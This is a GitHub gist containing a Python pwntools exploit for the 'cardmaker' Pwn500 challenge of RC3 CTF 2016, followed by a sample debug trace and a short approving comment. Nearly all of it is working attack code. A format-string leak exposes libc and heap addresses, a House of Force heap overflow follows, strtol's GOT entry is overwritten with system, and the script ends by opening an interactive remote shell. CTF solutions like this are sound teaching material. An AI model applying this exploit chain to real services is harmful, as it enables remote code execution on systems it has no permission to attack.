Created
November 21, 2016 07:46
-
-
Save Inndy/1a3b312b0388447d3dee14371236abd1 to your computer and use it in GitHub Desktop.
Exploit for RC3 CTF 2016 Pwn500
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# RC3-2016-YOUZAH-REEL-JEDI-MASTA-NAU-LEWK | |
try: | |
import requests | |
dst_ip = requests.get('http://ipinfo.io').json()['ip'] | |
except: | |
dst_ip = '127.0.0.1' | |
print 'IP = %s' % dst_ip | |
binary = ELF('cardmaker') | |
libc_binary = ELF('libc-2.23.so') | |
def menu(x): | |
""" | |
1. New greeting card | |
2. List greeting cards to be sent | |
3. Change the contents of a card | |
4. Delete a greeting card in the queue | |
5. Send all greeting cards in the queue | |
6. Quit | |
""" | |
io.recvuntil('Choice: ') | |
io.sendline(str(x)) | |
def add(size, content, border='#', dst_port=5566): | |
menu(1) | |
io.recvuntil('from?') | |
io.sendline('a') | |
io.recvuntil('to?') | |
io.sendline('b') | |
io.recvuntil('to?') | |
io.sendline('%s:%s' % (dst_ip, dst_port)) | |
io.recvuntil('card?') | |
io.sendline(border) | |
io.recvuntil('How long is your message...?') | |
s = str(size) | |
if size < 0: # strtol will skip non-numeric characters | |
s = ' ' + s | |
io.sendline(s) | |
io.recvuntil('end with ') | |
if content: | |
io.sendline(content) | |
io.sendline('done.') | |
sock = listen() | |
io = remote('cardmaker.ctf.rc3.club', 9887) | |
add(15, 'zz', '%p', dst_port=sock.lport) | |
menu(5) # send card, leak heap and libc addresses | |
l = sock.wait_for_connection() | |
libc, heap = l.recvall().split('\n')[-2].split('0x')[4:6] | |
libc, heap = int(libc, 16), int(heap, 16) | |
print 'leaked libc addr = 0x%.12x' % libc | |
print 'leaked heap addr = 0x%.8x' % heap | |
libc += 0x00007fec75823000 - 0x7fec75be8780 | |
heap += 0x01fc8000 - 0x1fc9050 | |
print 'libc base = 0x%.12x' % libc | |
print 'heap base = 0x%.8x' % heap | |
new_heap = heap + 0x0221f090 - 0x0221e000 | |
ptr_top = new_heap + 24 | |
print 'last chunk will be allocated at 0x%.8x' % new_heap | |
# ref 1: http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400 | |
# ref 2: https://github.com/shellphish/how2heap/blob/master/house_of_force.c | |
evil_size = binary.got['strtol'] - 16 - ptr_top | |
print 'evail_size = %x' % evil_size | |
# overwrite chunk header on top chunk | |
add(-1, 'A'*24 + '\xff' * 8) # this add actually malloc(24) | |
add(evil_size - 25, '') # jump to desired address | |
add(100, p64(libc + libc_binary.symbols['system'])) # GOT hijack | |
menu('sh') # strtol.GOT hijacked to system | |
io.interactive() | |
""" | |
leaked libc addr = 0x7f615f97b780 | |
leaked heap addr = 0x0221f050 | |
libc base = 0x7f615f5b6000 | |
heap base = 0x0221e000 | |
[0x4017be] malloc(40) = 0x221f020 | |
[0x400daf] malloc(42) = 0x221f050 | |
[0x401208] free(0x221f050) = <void> | |
[0x4017be] malloc(24) = 0x221f090 | |
""" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
much cleaner than my solution but same technique. Nice work :)